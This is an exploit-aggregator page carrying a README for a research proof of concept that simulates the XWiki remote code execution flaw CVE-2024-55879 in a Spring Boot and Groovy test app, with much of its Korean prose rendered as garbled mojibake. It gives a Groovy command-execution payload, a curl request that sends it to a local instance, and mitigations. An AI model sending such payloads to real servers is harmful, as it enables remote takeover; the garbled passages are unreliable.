Share
## https://sploitus.com/exploit?id=9446A906-2D69-5E2B-B8C9-FF00CEE686F1
# Research: XWiki Platform RCE (CVE-2024-55879) Simulation
  
## ํ๋ก์ ํธ ์๊ฐ (Project Overview)
๋ณธ ํ๋ก์ ํธ๋ **XWiki Platform**์์ ๋ฐ๊ฒฌ๋ ์๊ฒฉ ์ฝ๋ ์คํ(RCE) ์ทจ์ฝ์ ์ธ **CVE-2024-55879**๋ฅผ ์ฐ๊ตฌํ๊ณ ์์ฐํ๊ธฐ ์ํด ๊ตฌ์ถ๋ **์ฐ๊ตฌ์ฉ PoC(Proof of Concept) ํ๊ฒฝ**์
๋๋ค.
์ค์ XWiki ์์ง์ ๋งค์ฐ ๋ฌด๊ฒ๊ธฐ ๋๋ฌธ์, ๋ณธ ์ฐ๊ตฌ์์๋ ์ทจ์ฝ์ ์ ํต์ฌ ์๋ฆฌ์ธ **์์ ์คํฌ๋ฆฝํธ ์คํ(Unsafe Script Execution)** ๋ฉ์ปค๋์ฆ์ **Spring Boot**์ **Groovy**๋ฅผ ์ฌ์ฉํ์ฌ ๊ฒฝ๋ํ๋ ํํ๋ก ์๋ฎฌ๋ ์ด์
ํ์์ต๋๋ค. ์ด๋ฅผ ํตํด ํ์ผ ์ฒ๋ฆฌ ๋ฐ ์คํฌ๋ฆฝํธ ์คํ ๊ณผ์ ์์์ ๋ณด์ ๊ฒฐํจ์ ํ์ค์ ์ผ๋ก ์ฌํํ์์ต๋๋ค.
### ์ฐ๊ตฌ ๋ชฉํ
1. **Unsafe Reflection/Scripting** ์ทจ์ฝ์ ์ ๋์ ์๋ฆฌ ์ดํด
2. Java ์ ํ๋ฆฌ์ผ์ด์
์์์ ๋์ ์ฝ๋ ์คํ(GroovyShell ๋ฑ) ์ํ์ฑ ๋ถ์
3. **RCE(Remote Code Execution)** ๊ณต๊ฒฉ ๋ฒกํฐ๋ฅผ ํตํ ์์คํ
์ฅ์
์๋๋ฆฌ์ค ๊ฒ์ฆ
---
## ๊ธฐ์ ์คํ (Tech Stack)
| ๊ตฌ๋ถ | ์คํ | ๋ฒ์ | ๋น๊ณ |
| :--- | :--- | :--- | :--- |
| **Framework** | Spring Boot | `2.7.5` | Simulation Framework |
| **Engine** | Groovy | `3.0.13` | **Script Execution Engine** |
| **Vulnerability** | Insecure Deserialization | - | RCE Vector |
| **Language** | Java | `11` | JDK Environment |
---
## ์ทจ์ฝ์ ๋ถ์ ๋ณด๊ณ ์ (Vulnerability Report)
๋ณธ ํ๋ก์ ํธ์์ ๋ถ์ํ ํต์ฌ ์ทจ์ฝ์ ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
### 1. Remote Code Execution via Script Injection
* **CVE-2024-55879**
* **์ค๋ช
**: XWiki์ ํน์ ํด๋์ค(`XWiki.ConfigurableClass` ๋ฑ)๋ฅผ ์ฒ๋ฆฌํ๋ ๊ณผ์ ์์, ์ ์ ํ ๊ถํ ๊ฒ์ฆ ์์ด ์ฌ์ฉ์ ์
๋ ฅ๊ฐ์ด ์คํฌ๋ฆฝํธ ์์ง์ผ๋ก ์ ๋ฌ๋์ด ์คํ๋๋ ์ทจ์ฝ์ ์
๋๋ค. ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ํตํด ์๋ฒ ๊ถํ์ผ๋ก ์์์ ์ฝ๋๋ฅผ ์คํํ ์ ์์ต๋๋ค.
* **์ํ๋**: **Critical (System Compromise)**
* **๊ตฌํ ์์น**: [์ทจ์ฝํ ์ปจํธ๋กค๋ฌ](src/main/java/com/xwiki/simulation/VulnerableController.java) (`VulnerableController.java`)
### 2. Groovy Script Execution
* **Methodology**
* **์ค๋ช
**: Java ์ ํ๋ฆฌ์ผ์ด์
๋ด์์ `GroovyShell` ๋ฑ์ ์ฌ์ฉํ ๋ ์
๋ ฅ๊ฐ ๊ฒ์ฆ์ด ์์ผ๋ฉด, Java API ์ ์ฒด์ ์ ๊ทผ ๊ฐ๋ฅํ ๊ฐ๋ ฅํ ์์ ๊ณต๊ฒฉ์์๊ฒ ์ ๊ณตํ๋ ๊ผด์ด ๋ฉ๋๋ค.
* **Payload ์์**: `"Runtime.getRuntime().exec('id')"`
---
## ์คํ ๋ฐ ๊ฒ์ฆ (How to Reproduce)
์ฐ๊ตฌ ๋ฐ ๊ฒ์ฆ์ ์ํด ๊ฒฉ๋ฆฌ๋ ๋ก์ปฌ ํ๊ฒฝ์์ ์คํํ๋ ๊ฒ์ ๊ถ์ฅํฉ๋๋ค.
```bash
# 1. ์ปจํ
์ด๋ ์คํ
docker-compose up --build
```
1. **Exploit Simulation**:
```bash
curl -X POST http://localhost:8082/xwiki/bin/save \
-H "Content-Type: application/json" \
-d '{"content": "Runtime.getRuntime().exec(\"id\").getInputStream().getText()"}'
```
* **๊ฒฐ๊ณผ**: ๋ฆฌ๋
์ค `id` ๋ช
๋ น์ด์ ์คํ ๊ฒฐ๊ณผ๊ฐ ์๋ต์ผ๋ก ๋ฐํ๋จ (RCE ์ฑ๊ณต).
---
## ๋์ ๋ฐฉ์ (Mitigation)
* **XWiki ์
๋ฐ์ดํธ**: ๋ณด์ ํจ์น๊ฐ ์ ์ฉ๋ ๋ฒ์ (15.10.9+, 16.3.0+)์ผ๋ก ์
๋ฐ์ดํธํฉ๋๋ค.
* **์คํฌ๋ฆฝํธ ์๋๋ฐ์ค**: ์คํฌ๋ฆฝํธ ์คํ ์ ๊ถํ์ ์ ํํ๋ **Sandbox** ํ๊ฒฝ์ ๊ตฌ์ฑํฉ๋๋ค.
* **์
๋ ฅ๊ฐ ๊ฒ์ฆ**: ์ฌ์ฉ์๋ก๋ถํฐ ์
๋ ฅ๋ฐ์ ์คํฌ๋ฆฝํธ๋ ์ฝ๋๋ฅผ ์คํํ๋ ๊ธฐ๋ฅ์ ์์ฒ์ ์ผ๋ก ์ฐจ๋จํ๊ฑฐ๋ ์๊ฒฉํ ํต์ ํฉ๋๋ค.
---